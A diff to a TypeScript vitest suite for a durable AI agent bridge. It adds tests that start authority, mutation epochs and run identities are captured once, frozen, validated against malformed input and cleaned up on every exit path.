+  const usage = { inputTokens: 1, outputTokens: 1, totalTokens: 2 };
+  return {
+    specificationVersion: 'v2',
+    provider: 'flowsafe-test',
+    modelId: 'c-local-text',
+    supportedUrls: {},
+    doGenerate: async () => {
+      onCall();
+      return {
+        content: [{ type: 'text', text: 'done' }],
+        finishReason: 'stop',
+        usage,
+        warnings: [],
+      };
+    },
+    doStream: async () => {
+      onCall();
+      return {
+        stream: new ReadableStream({
+          start(controller) {
+            controller.enqueue({ type: 'stream-start', warnings: [] });
+            controller.enqueue({ type: 'text-start', id: 'text-1' });
+            controller.enqueue({
+              type: 'text-delta',
+              id: 'text-1',
+              delta: 'done',
+            });
+            controller.enqueue({ type: 'text-end', id: 'text-1' });
+            controller.enqueue({ type: 'finish', finishReason: 'stop', usage });
+            controller.close();
+          },
+        }),
+      };
+    },
+  };
+}
+
+async function cRealBridge(
+  provider?: RequestContextProvider,
+  modelFault?: Error,
+  threaded = false,
+) {
+  const sql = openSqlite() as ReturnType<typeof openSqlite> & { close(): void };
+  const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase;
+  const storage = createD1Storage({ binding });
+  await storage.init();
+  const fence = new ExecutionFenceStore(binding);
+  await fence.seed('open');
+  for (let index = 0; index < 2; index++) {
+    const before = await fence.read();
+    const draining = await fence.transition({
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: before.mutationEpoch,
+      expectedRevision: before.transitionRevision,
+      advanceMutationEpoch: true,
+    });
+    await fence.transition({
+      expected: 'draining',
+      next: 'open',
+      expectedMutationEpoch: draining.mutationEpoch,
+      expectedRevision: draining.transitionRevision,
+    });
+  }
+  const workflows = (await storage.getStore(
+    'workflows',
+  )) as FencedWorkflowsStorageD1;
+  const native = workflows[FENCED_WORKFLOW_STORAGE];
+  if (!native) throw new Error('missing owned workflow capability');
+  const counts = { model: 0, callback: 0, admission: 0, terminalization: 0 };
+  const capability: FencedWorkflowAdmissionCapability = {
+    ...native,
+    withInitialAdmission: (input, create) => {
+      counts.admission++;
+      return native.withInitialAdmission(input, create);
+    },
+    terminalizeInitialAdmission: (input) => {
+      counts.terminalization++;
+      return native.terminalizeInitialAdmission(input);
+    },
+  };
+  Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, {
+    value: capability,
+    configurable: true,
+  });
+  const { runtime } = init(
+    { storage },
+    {
+      executionFence: fence,
+      startIdempotency: 'none',
+      pubsub: createHostPubSub(),
+      requestContextForRun: provider,
+    },
+  );
+  const agent = createFlowsafeDurableAgent({
+    agent: new Agent({
+      id: 'writer',
+      name: 'Writer',
+      instructions: 'Return done.',
+      ...(threaded ? { memory: new MockMemory() } : {}),
+      model: cLocalModel(() => {
+        counts.model++;
+        if (modelFault) throw modelFault;
+      }),
+    }),
+    runtime,
+    cache: false,
+    maxSteps: 1,
+  });
+  const start = vi.spyOn(runtime, 'start');
+  return { sql, fence, workflows, counts, runtime, agent, start };
+}
+
+describe('C agent bridge capture', () => {
+  it.each([
+    null,
+    '2',
+    true,
+    -1,
+    0.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('C bridge refuses malformed epoch before stream and permits clean retry: %s', async (epoch) => {
+    await cRefusedAuthority(
+      { ...startAuthority(), mutationEpoch: epoch },
+      new InvalidMutationEpochError(),
+    );
+  });
+
+  it.each([
+    ['null', null, 'identity'],
+    ['array', [], 'identity'],
+    ['empty', {}, 'owner'],
+    [
+      'owner-null',
+      {
+        owner: null,
+        target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+      },
+      'owner',
+    ],
+    [
+      'owner-kind',
+      {
+        owner: { kind: 'invalid', id: 'operator-1' },
+        target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+      },
+      'owner.kind',
+    ],
+    [
+      'owner-id',
+      {
+        owner: { kind: 'human', id: '' },
+        target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+      },
+      'owner.id',
+    ],
+    [
+      'target-missing',
+      { owner: { kind: 'human', id: 'operator-1' } },
+      'target',
+    ],
+    [
+      'target-null',
+      { owner: { kind: 'human', id: 'operator-1' }, target: null },
+      'target',
+    ],
+    [
+      'target-array',
+      { owner: { kind: 'human', id: 'operator-1' }, target: [] },
+      'target',
+    ],
+    [
+      'target-kind',
+      {
+        owner: { kind: 'human', id: 'operator-1' },
+        target: { kind: 'invalid', id: 'writer' },
+      },
+      'target.kind',
+    ],
+    [
+      'target-id',
+      {
+        owner: { kind: 'human', id: 'operator-1' },
+        target: { kind: 'agent', id: 'bad/path', threadId: 'thread' },
+      },
+      'target.id',
+    ],
+    [
+      'thread-missing',
+      {
+        owner: { kind: 'human', id: 'operator-1' },
+        target: { kind: 'agent', id: 'writer' },
+      },
+      'target.threadId',
+    ],
+    [
+      'thread-null',
+      {
+        owner: { kind: 'human', id: 'operator-1' },
+        target: { kind: 'agent', id: 'writer', threadId: null },
+      },
+      'target.threadId',
+    ],
+    [
+      'thread-path',
+      {
+        owner: { kind: 'human', id: 'operator-1' },
+        target: { kind: 'agent', id: 'writer', threadId: 'bad/path' },
+      },
+      'target.threadId',
+    ],
+  ] as const)('C bridge refuses malformed identity before stream and permits clean retry: %s', async (_label, startIdentity, field) => {
+    await cRefusedAuthority(
+      { ...startAuthority(), startIdentity },
+      new InvalidExecutionIdentityError(field),
+    );
+  });
+
+  it.each([
+    'identity-owner',
+    'identity-target',
+    'guard-owner',
+    'guard-id',
+    'guard-token',
+  ] as const)('C bridge preserves nested first getter faults before map installation: %s', async (location) => {
+    const fault = new Error(`first ${location} read`);
+    const source = startAuthority();
+    if (location === 'identity-owner')
+      Object.defineProperty(source.startIdentity.owner, 'id', {
+        get() {
+          throw fault;
+        },
+      });
+    if (location === 'identity-target')
+      Object.defineProperty(source.startIdentity.target, 'threadId', {
+        get() {
+          throw fault;
+        },
+      });
+    const guard = {
+      owner: { kind: 'human' as const, id: 'resource-owner' },
+      reservationToken: 'token',
+    };
+    if (location === 'guard-owner')
+      Object.defineProperty(guard, 'owner', {
+        get() {
+          throw fault;
+        },
+      });
+    if (location === 'guard-id')
+      Object.defineProperty(guard.owner, 'id', {
+        get() {
+          throw fault;
+        },
+      });
+    if (location === 'guard-token')
+      Object.defineProperty(guard, 'reservationToken', {
+        get() {
+          throw fault;
+        },
+      });
+    await cRefusedAuthority({ ...source, runOwnerGuard: guard }, fault);
+  });
+
+  it('C bridge captures each owner-guard primitive once', async () => {
+    const f = bridgeFixture();
+    const once = <T extends string>(value: T) =>
+      vi
+        .fn<() => T>()
+        .mockReturnValueOnce(value)
+        .mockImplementation(() => {
+          throw new Error('second guard read');
+        });
+    const kind = once('service');
+    const id = once('resource-owner');
+    const token = once('reservation');
+    const source = {
+      ...startAuthority(),
+      runOwnerGuard: {
+        owner: {
+          get kind() {
+            return kind();
+          },
+          get id() {
+            return id();
+          },
+        },
+        get reservationToken() {
+          return token();
+        },
+      },
+    };
+    const pending = f.startHost(source);
+    await expect(
+      Promise.all([pending, drive(f.agent, 'run-1', INPUT)]),
+    ).resolves.toHaveLength(2);
+    expect(f.start.mock.calls[0]?.[1].runOwnerGuard).toEqual({
+      owner: { kind: 'service', id: 'resource-owner' },
+      reservationToken: 'reservation',
+    });
+    for (const read of [kind, id, token]) expect(read).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    undefined,
+    1,
+    2,
+    3,
+  ])('C real agent bridge enforces active mutation epoch at Runtime: %s', async (epoch) => {
+    const { sql, fence, workflows, counts, runtime, agent, start } =
+      await cRealBridge();
+    const runId = `real-epoch-${epoch ?? 'missing'}`;
+    const attemptToken = `attempt-${epoch ?? 'missing'}`;
+    const authority: AgentStartAuthority = {
+      ...startAuthority(),
+      onPreparedStartIdentity: () => {
+        counts.callback++;
+      },
+    };
+    if (epoch === undefined)
+      delete (authority as { mutationEpoch?: number }).mutationEpoch;
+    else Object.assign(authority, { mutationEpoch: epoch });
+    let result:
+      | Awaited<ReturnType<typeof agent.streamUntilPersisted>>
+      | undefined;
+    try {
+      expect(await fence.read()).toMatchObject({
+        state: 'open',
+        mutationEpoch: 2,
+        requireMutationEpoch: true,
+      });
+      const pending = agent.streamUntilPersisted(
+        'Return done.',
+        { runId, maxSteps: 1, disableBackgroundTasks: true },
+        'operator-1',
+        'human',
+        attemptToken,
+        undefined,
+        undefined,
+        authority,
+      );
+      if (epoch !== 2) {
+        await expect(pending).rejects.toThrow('mutation epoch does not match');
+        expect(counts.model).toBe(0);
+        return;
+      }
+      result = await pending;
+      expect(await result.output.text).toBe('done');
+      await globalRunRegistry.get(runId)?.workflowExecution;
+      expect(
+        (await runtime.status(agent.getWorkflow().id, runId))?.status,
+      ).toBe('success');
+      expect(start).toHaveBeenCalledOnce();
+      expect(start.mock.calls[0]?.[1].mutationEpoch).toBe(epoch);
+      expect(start.mock.calls[0]?.[1].onPreparedStartIdentity).toBe(
+        authority.onPreparedStartIdentity,
+      );
+      const snapshot = await workflows.loadWorkflowSnapshot({
+        workflowName: agent.getWorkflow().id,
+        runId,
+      });
+      expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({
+        version: 2,
+        requestedBy: 'operator-1',
+        requestedByKind: 'human',
+        startToken: expect.any(String),
+        mutationEpoch: 2,
+        startIdentity: authority.startIdentity,
+        agentStart: authority.agentStart,
+        attemptToken,
+        resumeCounts: [],
+      });
+      for (const key of [
+        'mutationEpoch',
+        'startIdentity',
+        'agentStart',
+        'execution',
+        'onPreparedStartIdentity',
+        'runOwnerGuard',
+        'flowsafe.initialAdmission',
+      ])
+        expect(snapshot?.requestContext).not.toHaveProperty(key);
+      expect(counts).toEqual({
+        model: 1,
+        callback: 1,
+        admission: 1,
+        terminalization: 0,
+      });
+    } finally {
+      await globalRunRegistry
+        .get(runId)
+        ?.workflowExecution?.catch(() => undefined);
+      result?.cleanup();
+      globalRunRegistry.delete(runId);
+      start.mockRestore();
+      sql.close();
+      expect(counts.callback).toBe(epoch === 2 ? 1 : 0);
+      expect(counts.admission).toBe(epoch === 2 ? 1 : 0);
+      expect(counts.terminalization).toBe(0);
+    }
+  });
+
+  it.each([
+    'provider-failure',
+    'model-failure',
+    'lost-receipt',
+  ] as const)('C real agent failure and terminal recovery keep the verified v2 generation: %s', async (phase) => {
+    const fault = new Error(`C real ${phase}`);
+    const f = await cRealBridge(
+      phase === 'provider-failure'
+        ? () => {
+            throw fault;
+          }
+        : undefined,
+      phase === 'model-failure' ? fault : undefined,
+    );
+    const runId = `real-${phase}`;
+    const attemptToken = `attempt-${phase}`;
+    const workflow = f.agent.getWorkflow();
+    let lostReceipts = 0;
+    const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows);
+    const persistence = vi
+      .spyOn(f.workflows, 'persistWorkflowSnapshot')
+      .mockImplementation(async (input) => {
+        await persist(input);
+        if (
+          phase === 'lost-receipt' &&
+          input.workflowName === workflow.id &&
+          input.runId === runId &&
+          input.snapshot.status === 'success' &&
+          lostReceipts === 0
+        ) {
+          lostReceipts++;
+          throw fault;
+        }
+      });
+    const streams: Array<Awaited<ReturnType<typeof f.agent.stream>>> = [];
+    const nativeStream = f.agent.stream.bind(f.agent);
+    const stream = vi
+      .spyOn(f.agent, 'stream')
+      .mockImplementation(async (...args) => {
+        const result = await nativeStream(...args);
+        streams.push(result);
+        return result;
+      });
+    const callback = () => {
+      f.counts.callback++;
+    };
+    const authority: AgentStartAuthority = {
+      ...startAuthority(),
+      onPreparedStartIdentity: callback,
+    };
+    try {
+      expect(await f.fence.read()).toMatchObject({
+        state: 'open',
+        mutationEpoch: 2,
+        requireMutationEpoch: true,
+      });
+      const pending = f.agent.streamUntilPersisted(
+        'Return done.',
+        {
+          runId,
+          disableBackgroundTasks: true,
+          modelSettings: { maxRetries: 0 },
+        },
+        'operator-1',
+        'human',
+        attemptToken,
+        undefined,
+        undefined,
+        authority,
+      );
+      if (phase === 'lost-receipt') {
+        const result = await pending;
+        expect(await result.output.text).toBe('done');
+      } else if (phase === 'provider-failure')
+        await expect(pending).rejects.toBe(fault);
+      else await expect(pending).rejects.toThrow('C real model-failure');
+      const execution = globalRunRegistry.get(runId)?.workflowExecution;
+      if (execution) await execution.catch(() => undefined);
+      else expect(globalRunRegistry.has(runId)).toBe(false);
+      expect(f.start).toHaveBeenCalledOnce();
+      expect(f.start.mock.calls[0]?.[1].onPreparedStartIdentity).toBe(callback);
+      expect(f.start.mock.calls[0]?.[1].mutationEpoch).toBe(2);
+      const snapshot = await f.workflows.loadWorkflowSnapshot({
+        workflowName: workflow.id,
+        runId,
+      });
+      if (phase === 'provider-failure') {
+        expect(snapshot).toBeNull();
+        expect(f.counts.model).toBe(0);
+        expect(persistence).not.toHaveBeenCalled();
+      } else {
+        expect(snapshot?.status).toBe('success');
+        if (phase === 'model-failure')
+          expect(snapshot?.result).toMatchObject({
+            stepResult: { reason: 'error' },
+            output: { text: '', steps: [{ finishReason: 'error' }] },
+          });
+        expect((await f.runtime.status(workflow.id, runId))?.status).toBe(
+          'success',
+        );
+        expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({
+          version: 2,
+          requestedBy: 'operator-1',
+          requestedByKind: 'human',
+          startToken: expect.any(String),
+          mutationEpoch: 2,
+          startIdentity: authority.startIdentity,
+          agentStart: authority.agentStart,
+          attemptToken,
+          resumeCounts: [],
+        });
+        for (const key of [
+          'mutationEpoch',
+          'startIdentity',
+          'agentStart',
+          'execution',
+          'onPreparedStartIdentity',
+          'runOwnerGuard',
+          'flowsafe.initialAdmission',
+        ])
+          expect(snapshot?.requestContext).not.toHaveProperty(key);
+        expect(f.counts.model).toBe(1);
+      }
+      expect(lostReceipts).toBe(phase === 'lost-receipt' ? 1 : 0);
+    } finally {
+      await globalRunRegistry
+        .get(runId)
+        ?.workflowExecution?.catch(() => undefined);
+      for (const result of streams) result.cleanup();
+      globalRunRegistry.delete(runId);
+      stream.mockRestore();
+      persistence.mockRestore();
+      f.start.mockRestore();
+      f.sql.close();
+      expect(f.counts.callback).toBe(phase === 'provider-failure' ? 0 : 1);
+      expect(f.counts.admission).toBe(phase === 'provider-failure' ? 0 : 1);
+      expect(f.counts.terminalization).toBe(0);
+    }
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it('C bridge forwards a frozen authority captured before stream', async () => {
+    const f = bridgeFixture();
+    const entered = bridgeDeferred();
+    const release = bridgeDeferred();
+    f.stream.mockImplementation(async () => {
+      entered.resolve();
+      await release.promise;
+      return f.streamResult as never;
+    });
+    const callback = vi.fn();
+    const source = {
+      mutationEpoch: 2,
+      startIdentity: {
+        owner: { kind: 'human' as const, id: 'operator-1' },
+        target: {
+          kind: 'agent' as const,
+          id: 'writer',
+          threadId: 'original-thread',
+        },
+      },
+      agentStart: { threaded: true },
+      onPreparedStartIdentity: callback,
+      runOwnerGuard: {
+        owner: { kind: 'service' as const, id: 'resource-owner' },
+        reservationToken: 'reservation-original',
+      },
+    };
+    const pending = f.startHost(source);
+    void pending.catch(() => undefined);
+    try {
+      await entered.promise;
+      source.mutationEpoch = 3;
+      source.startIdentity.owner.id = 'replacement';
+      source.startIdentity.target.threadId = 'replacement-thread';
+      source.agentStart.threaded = false;
+      source.onPreparedStartIdentity = vi.fn();
+      source.runOwnerGuard.owner.id = 'replacement-owner';
+      source.runOwnerGuard.reservationToken = 'replacement-token';
+      release.resolve();
+      await drive(f.agent, 'run-1', INPUT);
+      await pending;
+      const forwarded = f.start.mock.calls[0]?.[1] as StartRunOptions;
+      expect(forwarded).toMatchObject({
+        mutationEpoch: 2,
+        startIdentity: {
+          owner: { kind: 'human', id: 'operator-1' },
+          target: { kind: 'agent', id: 'writer', threadId: 'original-thread' },
+        },
+        agentStart: { threaded: true },
+        runOwnerGuard: {
+          owner: { kind: 'service', id: 'resource-owner' },
+          reservationToken: 'reservation-original',
+        },
+      });
+      expect(forwarded.onPreparedStartIdentity).toBe(callback);
+      for (const value of [
+        forwarded.startIdentity,
+        forwarded.startIdentity?.owner,
+        forwarded.startIdentity?.target,
+        forwarded.agentStart,
+        forwarded.runOwnerGuard,
+        forwarded.runOwnerGuard?.owner,
+      ])
+        expect(Object.isFrozen(value)).toBe(true);
+      for (const value of [
+        source,
+        source.startIdentity,
+        source.startIdentity.owner,
+        source.startIdentity.target,
+        source.agentStart,
+        source.runOwnerGuard,
+        source.runOwnerGuard.owner,
+        callback,
+      ])
+        expect(Object.isFrozen(value)).toBe(false);
+      expect(callback).not.toHaveBeenCalled();
+      expect(f.stream.mock.calls[0]?.[1]).not.toHaveProperty('startIdentity');
+      expect(forwarded.inputData).not.toHaveProperty('onPreparedStartIdentity');
+    } finally {
+      release.resolve();
+      await pending.catch(() => undefined);
+    }
+  });
+
+  it('C bridge never rereads authority after stream handoff', async () => {
+    const f = bridgeFixture();
+    const authority = startAuthority();
+    const reads = new Map<string, number>();
+    const once = <T extends object>(object: T, prefix: string): T => {
+      for (const key of Object.keys(object)) {
+        const value = object[key as keyof T];
+        Object.defineProperty(object, key, {
+          configurable: true,
+          enumerable: false,
+          get() {
+            const name = `${prefix}.${key}`;
+            const count = (reads.get(name) ?? 0) + 1;
+            reads.set(name, count);
+            if (count > 1) throw new Error(`second read: ${name}`);
+            return value;
+          },
+        });
+      }
+      return object;
+    };
+    once(authority.startIdentity.owner, 'owner');
+    once(authority.startIdentity.target, 'target');
+    once(authority.startIdentity, 'identity');
+    once(authority.agentStart, 'mode');
+    once(authority, 'authority');
+    const pending = f.startHost(authority);
+    void pending.catch(() => undefined);
+    let driven = false;
+    try {
+      expect([...reads.keys()].sort()).toEqual(
+        [
+          'owner.kind',
+          'owner.id',
+          'target.kind',
+          'target.id',
+          'target.threadId',
+          'identity.owner',
+          'identity.target',
+          'mode.threaded',
+          'authority.mutationEpoch',
+          'authority.startIdentity',
+          'authority.agentStart',
+          'authority.onPreparedStartIdentity',
+        ].sort(),
+      );
+      expect([...reads.values()]).toEqual(Array(reads.size).fill(1));
+      driven = true;
+      await expect(drive(f.agent, 'run-1', INPUT)).resolves.toBeUndefined();
+      await expect(pending).resolves.toBe(f.streamResult);
+      expect([...reads.values()]).toEqual(Array(reads.size).fill(1));
+      expect(f.start).toHaveBeenCalledOnce();
+      expect(f.start.mock.calls[0]?.[1]).toMatchObject({
+        mutationEpoch: 2,
+        agentStart: { threaded: false },
+      });
+    } finally {
+      if (!driven) await drive(f.agent, 'run-1', INPUT).catch(() => undefined);
+      await pending.catch(() => undefined);
+    }
+  });
+
+  it('C bridge captures schedule dispatch before installing stream state', async () => {
+    const f = bridgeFixture();
+    const ids = {
+      scheduleId: 'schedule-original',
+      dispatchId: 'dispatch-original',
+    };
+    const scheduleId = vi.fn(() => ids.scheduleId);
+    const dispatchId = vi.fn(() => ids.dispatchId);
+    const dispatch = {
+      get scheduleId() {
+        return scheduleId();
+      },
+      get dispatchId() {
+        return dispatchId();
+      },
+    };
+    const pending = f.startHost(startAuthority(), 'run-1', dispatch);
+    ids.scheduleId = 'schedule-late';
+    ids.dispatchId = 'dispatch-late';
+    await Promise.all([drive(f.agent, 'run-1', INPUT), pending]);
+    expect(f.start.mock.calls[0]?.[1]).toMatchObject({
+      scheduleDispatch: {
+        scheduleId: 'schedule-original',
+        dispatchId: 'dispatch-original',
+      },
+    });
+    expect(scheduleId).toHaveBeenCalledTimes(1);
+    expect(dispatchId).toHaveBeenCalledTimes(1);
+  });
+
+  it('C copies Core payload without rereading runId or agentId', async () => {
+    const f = bridgeFixture();
+    const runId = vi
+      .fn()
+      .mockReturnValueOnce('run-1')
+      .mockImplementation(() => {
+        throw new Error('second runId read');
+      });
+    const agentId = vi
+      .fn()
+      .mockReturnValueOnce('writer')
+      .mockImplementation(() => {
+        throw new Error('second agentId read');
+      });
+    const input: DurableAgenticWorkflowInput = {
+      ...INPUT,
+      get runId() {
+        return runId();
+      },
+      get agentId() {
+        return agentId();
+      },
+    };
+    const pending = f.startHost();
+    await expect(
+      Promise.all([drive(f.agent, 'run-1', input), pending]),
+    ).resolves.toHaveLength(2);
+    expect(runId).toHaveBeenCalledTimes(1);
+    expect(agentId).toHaveBeenCalledTimes(1);
+    expect(f.start.mock.calls[0]?.[1]).toMatchObject({ inputData: INPUT });
+  });
+
+  it('C bridge rejects authority supplied only through stream options', async () => {
+    const f = bridgeFixture();
+    const options = { runId: 'run-1', authority: startAuthority() };
+    f.stream.mockImplementation(async () => {
+      await drive(f.agent, 'run-1', INPUT);
+      return f.streamResult as never;
+    });
+    const outcome = await f.agent
+      .streamUntilPersisted(
+        'hello',
+        options,
+        'operator-1',
+        'human',
+        undefined,
+        undefined,
+        undefined,
+        undefined as never,
+      )
+      .catch((error: unknown) => error);
+    expect(f.stream).not.toHaveBeenCalled();
+    expect(f.start).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(InvalidRunRequestError);
+    await f.startHost();
+  });
+
+  it('C bridge rejects authority supplied only through Core input', async () => {
+    const f = bridgeFixture();
+    const nativeSet = Map.prototype.set;
+    const spy = vi.spyOn(Map.prototype, 'set').mockImplementation(function (
+      this: Map<unknown, unknown>,
+      key,
+      value,
+    ) {
+      if (
+        key === 'run-1' &&
+        value &&
+        typeof value === 'object' &&
+        Object.hasOwn(value, 'startIdentity')
+      )
+        return this;
+      return nativeSet.call(this, key, value);
+    });
+    try {
+      const pending = f.startHost();
+      const input = { ...INPUT, authority: startAuthority() };
+      const results = await Promise.allSettled([
+        pending,
+        drive(f.agent, 'run-1', input),
+      ]);
+      expect(f.start).not.toHaveBeenCalled();
+      expect(results.map((result) => result.status)).toEqual([
+        'rejected',
+        'rejected',
+      ]);
+      for (const result of results)
+        if (result.status === 'rejected')
+          expect(result.reason).toBeInstanceOf(InvalidRunRequestError);
+    } finally {
+      spy.mockRestore();
+    }
+  });
+
+  it.each([
+    'success',
+    'stream-throw',
+    'onError',
+    'runtime-refusal',
+  ] as const)('C bridge removes authority on every exit and isolates same-run retries (%s)', async (exit) => {
+    const f = bridgeFixture();
+    const nativeSet = Map.prototype.set;
+    const nativeDelete = Map.prototype.delete;
+    let authorityMap: Map<unknown, unknown> | undefined;
+    let deletions = 0;
+    const set = vi.spyOn(Map.prototype, 'set').mockImplementation(function (
+      this: Map<unknown, unknown>,
+      key,
+      value,
+    ) {
+      if (
+        key === 'run-1' &&
+        value &&
+        typeof value === 'object' &&
+        Object.hasOwn(value, 'startIdentity')
+      )
+        authorityMap = this;
+      return nativeSet.call(this, key, value);
+    });
+    const remove = vi
+      .spyOn(Map.prototype, 'delete')
+      .mockImplementation(function (this: Map<unknown, unknown>, key) {
+        if (this === authorityMap && key === 'run-1') deletions++;
+        return nativeDelete.call(this, key);
+      });
+    const failure = new InvalidRunRequestError('test refusal');
+    try {
+      if (exit === 'stream-throw') f.stream.mockRejectedValueOnce(failure);
+      if (exit === 'onError')
+        f.stream.mockImplementationOnce(async (_messages, options) => {
+          await options?.onError?.({ error: failure } as never);
+          return f.streamResult as never;
+        });
+      if (exit === 'runtime-refusal') f.start.mockRejectedValueOnce(failure);
+      const pending = f.startHost();
+      const outcomes = await Promise.allSettled(
+        exit === 'success' || exit === 'runtime-refusal'
+          ? [pending, drive(f.agent, 'run-1', INPUT)]
+          : [pending],
+      );
+      expect(outcomes[0]?.status).toBe(
+        exit === 'success' ? 'fulfilled' : 'rejected',
+      );
+      expect(authorityMap).toBeDefined();
+      expect(authorityMap?.size).toBe(0);
+      expect(deletions).toBe(1);
+      const next = { ...startAuthority(), mutationEpoch: 3 };
+      await Promise.all([f.startHost(next), drive(f.agent, 'run-1', INPUT)]);
+      expect(f.start.mock.lastCall?.[1]).toMatchObject({ mutationEpoch: 3 });
+      expect(authorityMap?.size).toBe(0);
+      expect(deletions).toBe(2);
+    } finally {
+      set.mockRestore();
+      remove.mockRestore();
+    }
+  });
+
+  it.each([
+    undefined,
+    null,
+    1,
+    [],
+    {},
+    { ...startAuthority(), onPreparedStartIdentity: 1 },
+    { ...startAuthority(), agentStart: { threaded: 'true' } },
+    {
+      ...startAuthority(),
+      runOwnerGuard: {
+        owner: { kind: 'human', id: 'owner' },
+        reservationToken: '../bad',
+      },
+    },
+    {
+      ...startAuthority(),
+      startIdentity: {
+        owner: { kind: 'human', id: 'other' },
+        target: { kind: 'agent', id: 'writer', threadId: 'thread-1' },
+      },
+    },
+    {
+      ...startAuthority(),
+      startIdentity: {
+        owner: { kind: 'human', id: 'operator-1' },
+        target: { kind: 'workflow', id: 'writer' },
+      },
+    },
+  ])('C refuses malformed authority before stream and permits clean retry %#', async (authority) => {
+    const f = bridgeFixture();
+    await expect(
+      f.agent.streamUntilPersisted(
+        'hello',
+        { runId: 'run-1' },
+        'operator-1',
+        'human',
+        undefined,
+        undefined,
+        undefined,
+        authority as never,
+      ),
+    ).rejects.toBeInstanceOf(InvalidRunRequestError);
+    expect(f.stream).not.toHaveBeenCalled();
+    expect(f.start).not.toHaveBeenCalled();
+    await Promise.all([f.startHost(), drive(f.agent, 'run-1', INPUT)]);
+  });
+
+  it('C refuses missing and inherited callback properties and preserves capture faults', async () => {
+    const f = bridgeFixture();
+    const { onPreparedStartIdentity: _callback, ...missing } = startAuthority();
+    const inherited = Object.assign(
+      Object.create({ onPreparedStartIdentity: undefined }),
+      missing,
+    );
+    for (const source of [missing, inherited]) {
+      await expect(
+        f.startHost(source as AgentStartAuthority),
+      ).rejects.toBeInstanceOf(InvalidRunRequestError);
+    }
+    const fault = new Error('first authority read');
+    const source = {
+      ...startAuthority(),
+      get mutationEpoch(): number {
+        throw fault;
+      },
+    };
+    await expect(f.startHost(source)).rejects.toBe(fault);
+    const dispatch = {
+      get scheduleId(): string {
+        throw fault;
+      },
+      dispatchId: 'dispatch',
+    };
+    await expect(f.startHost(startAuthority(), 'run-1', dispatch)).rejects.toBe(
+      fault,
+    );
+    expect(f.stream).not.toHaveBeenCalled();
+    await Promise.all([f.startHost(), drive(f.agent, 'run-1', INPUT)]);
+  });
+
+  it.each([
+    'run',
+    'core-agent',
+    'wrapped-agent',
+    'first-read',
+  ] as const)('C refuses mismatched Core correlation and preserves first faults (%s)', async (kind) => {
+    const f = bridgeFixture();
+    const fault = new Error('first Core read');
+    const input = {
+      ...INPUT,
+      ...(kind === 'run' ? { runId: 'other' } : {}),
+      ...(kind === 'core-agent' ? { agentId: 'other' } : {}),
+    };
+    if (kind === 'first-read')
+      Object.defineProperty(input, 'agentId', {
+        get() {
+          throw fault;
+        },
+      });
+    const authority = startAuthority();
+    const changed =
+      kind === 'wrapped-agent'
+        ? {
+            ...authority,
+            startIdentity: {
+              ...authority.startIdentity,
+              target: { ...authority.startIdentity.target, id: 'other' },
+            },
+          }
+        : authority;
+    if (kind === 'wrapped-agent') input.agentId = 'other';
+    const results = await Promise.allSettled([
+      f.startHost(changed),
+      drive(f.agent, 'run-1', input),
+    ]);
+    expect(f.start).not.toHaveBeenCalled();
+    for (const result of results) {
+      expect(result.status).toBe('rejected');
+      if (result.status === 'rejected') {
+        if (kind === 'first-read') expect(result.reason).toBe(fault);
+        else expect(result.reason).toBeInstanceOf(InvalidRunRequestError);
+      }
+    }
+  });
+
+  it('C isolates interleaved different-run authorities and uses the actual workflow id', async () => {
+    const f = bridgeFixture();
+    const workflow = f.agent.getWorkflow();
+    const originalId = Object.getOwnPropertyDescriptor(workflow, 'id');
+    Object.defineProperty(workflow, 'id', {
+      value: 'actual-workflow',
+      configurable: true,
+    });
+    try {
+      const first = f.startHost(
+        { ...startAuthority(), mutationEpoch: 1 },
+        'run-1',
+      );
+      const second = f.startHost(
+        { ...startAuthority(), mutationEpoch: 3 },
+        'run-2',
+      );
+      await drive(f.agent, 'run-2', { ...INPUT, runId: 'run-2' });
+      await second;
+      await drive(f.agent, 'run-1', INPUT);
+      await first;
+      expect(
+        f.start.mock.calls.map(([id, options]) => [id, options]),
+      ).toMatchObject([
+        ['actual-workflow', { runId: 'run-2', mutationEpoch: 3 }],
+        ['actual-workflow', { runId: 'run-1', mutationEpoch: 1 }],
+      ]);
+    } finally {
+      if (originalId) Object.defineProperty(workflow, 'id', originalId);
+      else Reflect.deleteProperty(workflow, 'id');
+    }
+  });
+});
 
 describe('createFlowsafeDurableAgent', () => {
   afterEach(() => {
@@ -635,6 +1823,89 @@ describe('FlowsafeDurableAgent.executeWorkflow', () => {
   });
 });
 
+describe('FlowsafeDurableAgent.isRunLive', () => {
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it.each([
+    'global',
+    'internal',
+  ] as const)('shares the refusal predicate for an isolated %s registry entry', async (source) => {
+    const { runtime, start } = fakeRuntime();
+    const agent = createFlowsafeDurableAgent({ agent: testAgent(), runtime });
+    const seedRunId = `live-seed-${source}`;
+    const runId = `live-${source}`;
+    try {
+      const prepared = await agent.prepare('hello', { runId: seedRunId });
+      if (source === 'global')
+        globalRunRegistry.set(runId, prepared.registryEntry);
+      else registryFor(agent).register(runId, prepared.registryEntry);
+      const stream = vi.spyOn(DurableAgent.prototype, 'stream');
+      expect(globalRunRegistry.has(runId)).toBe(source === 'global');
+      expect(registryFor(agent).has(runId)).toBe(source === 'internal');
+      expect(agent.isRunLive(runId)).toBe(true);
+      expect(agent.isRunLive('live-absent')).toBe(false);
+      await expect(agent.stream('duplicate', { runId })).rejects.toThrow(
+        'run id is live in the run registry — a registered run cannot be re-entered',
+      );
+      expect(stream).not.toHaveBeenCalled();
+      expect(start).not.toHaveBeenCalled();
+    } finally {
+      for (const fixtureRunId of [runId, seedRunId]) {
+        registryFor(agent).cleanup(fixtureRunId);
+        globalRunRegistry.delete(fixtureRunId);
+      }
+    }
+    expect(agent.isRunLive(runId)).toBe(false);
+  });
+
+  it('shares the refusal predicate while a host stream awaits Core registration', async () => {
+    const { runtime, start } = fakeRuntime();
